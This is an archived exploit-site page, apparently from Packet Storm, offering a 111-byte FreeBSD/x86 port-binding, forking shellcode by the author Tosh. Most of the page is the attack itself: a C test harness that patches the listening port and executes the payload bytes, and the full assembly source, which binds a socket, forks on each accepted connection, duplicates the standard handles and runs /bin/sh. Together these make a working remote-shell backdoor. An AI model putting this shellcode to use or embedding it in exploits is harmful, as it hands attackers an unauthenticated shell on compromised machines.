exploit the possibilities

FreeBSD/x86 Portbinding Shell + Forking Shellcode

FreeBSD/x86 Portbinding Shell + Forking Shellcode
Posted Jan 22, 2011
Authored by Tosh

111 bytes small FreeBSD/x86 portbinding and forking shellcode.

tags | x86, shellcode
systems | freebsd
MD5 | d74aea9745b2221580a6bd933e946d30

FreeBSD/x86 Portbinding Shell + Forking Shellcode

Change Mirror Download
/*
-------------- FreeBSD/x86 - portbind shell + fork (111 bytes)--------------------
* AUTHOR : Tosh
* OS : BSDx86 (Tested on FreeBSD 8.1)
* EMAIL : tosh@tuxfamily.org
*/



#include <stdio.h>
#include <string.h>
#include <arpa/inet.h>

char shellcode [] = "\x31\xc9\xf7\xe1\x51\x40\x50\x40\x50\x50\xb0\x61\xcd\x80\x96\x52\x66"
"\x68\x05\x39\x66\x68\x01\x02\x89\xe1\x6a\x10\x51\x56\x50\xb0\x68\xcd"
"\x80\x31\xc0\xb0\x05\x50\x56\x50\xb0\x6a\xcd\x80\x31\xc0\x50\x50\x56"
"\x50\xb0\x1e\xcd\x80\x97\x31\xc0\x50\xb0\x02\xcd\x80\x09\xc0\x74\xea"
"\x31\xc9\x31\xc0\x51\x57\x50\xb0\x5a\xcd\x80\xfe\xc1\x80\xf9\x03\x75"
"\xf0\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89"
"\xe1\x52\x51\x53\xb0\x3b\x50\xcd\x80";

void change_shellcode(unsigned short port)
{
*((unsigned short*)(shellcode + 18)) = htons(port);
}
void print_shellcode(void)
{
int i;
for(i = 0; i < sizeof(shellcode) - 1; i++)
{
printf("\\x%.2x", (unsigned char)shellcode[i]);
}
printf("\n");
}
int main(void)
{
unsigned short port = 31337;

change_shellcode(port);
print_shellcode();
printf("Shellcode len = %d bytes\n", sizeof(shellcode)-1);
void (*f)() = (void*) shellcode;

f();

return 0;
}

/*
section .text
global _start

_start:
xor ecx, ecx
mul ecx
push ecx
inc eax
push eax
inc eax
push eax
push eax
mov al, 97 ; socket(AF_INET, SOCK_STREAM, 0)
int 0x80

xchg esi, eax

push edx
push word 0x3905
push word 0x0201
mov ecx, esp

push byte 16
push ecx
push esi
push eax
mov al, 104 ; bind(sock, sockaddr*, sizeof(sockaddr))
int 0x80

xor eax, eax
mov al, 5
push eax
push esi
push eax
mov al, 106 ; listen(sock, 5)
int 0x80

.ACCEPT:
xor eax, eax
push eax
push eax
push esi
push eax
mov al, 30 ; accept(sock, 0, 0)
int 0x80

xchg edi, eax

xor eax, eax
push eax
mov al, 2 ; fork()
int 0x80

or eax, eax
jz .ACCEPT


xor ecx, ecx ; dup2 STDERR, STDIN, STDOUT
.L:
xor eax, eax
push ecx
push edi
push eax
mov al, 90
int 0x80
inc cl
cmp cl, 3
jne .L

push edx
push '//sh'
push '/bin'

mov ebx, esp
push edx
push ebx
mov ecx, esp
push edx
push ecx
push ebx
mov al, 59 ; execve("/bin//sh", ["/bin/sh", NULL], NULL)
push eax
int 0x80
*/

Login or Register to add favorites

File Archive:

October 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    16 Files
  • 2
    Oct 2nd
    1 Files
  • 3
    Oct 3rd
    1 Files
  • 4
    Oct 4th
    24 Files
  • 5
    Oct 5th
    24 Files
  • 6
    Oct 6th
    11 Files
  • 7
    Oct 7th
    14 Files
  • 8
    Oct 8th
    19 Files
  • 9
    Oct 9th
    1 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    7 Files
  • 12
    Oct 12th
    15 Files
  • 13
    Oct 13th
    26 Files
  • 14
    Oct 14th
    10 Files
  • 15
    Oct 15th
    6 Files
  • 16
    Oct 16th
    2 Files
  • 17
    Oct 17th
    1 Files
  • 18
    Oct 18th
    14 Files
  • 19
    Oct 19th
    15 Files
  • 20
    Oct 20th
    20 Files
  • 21
    Oct 21st
    12 Files
  • 22
    Oct 22nd
    14 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close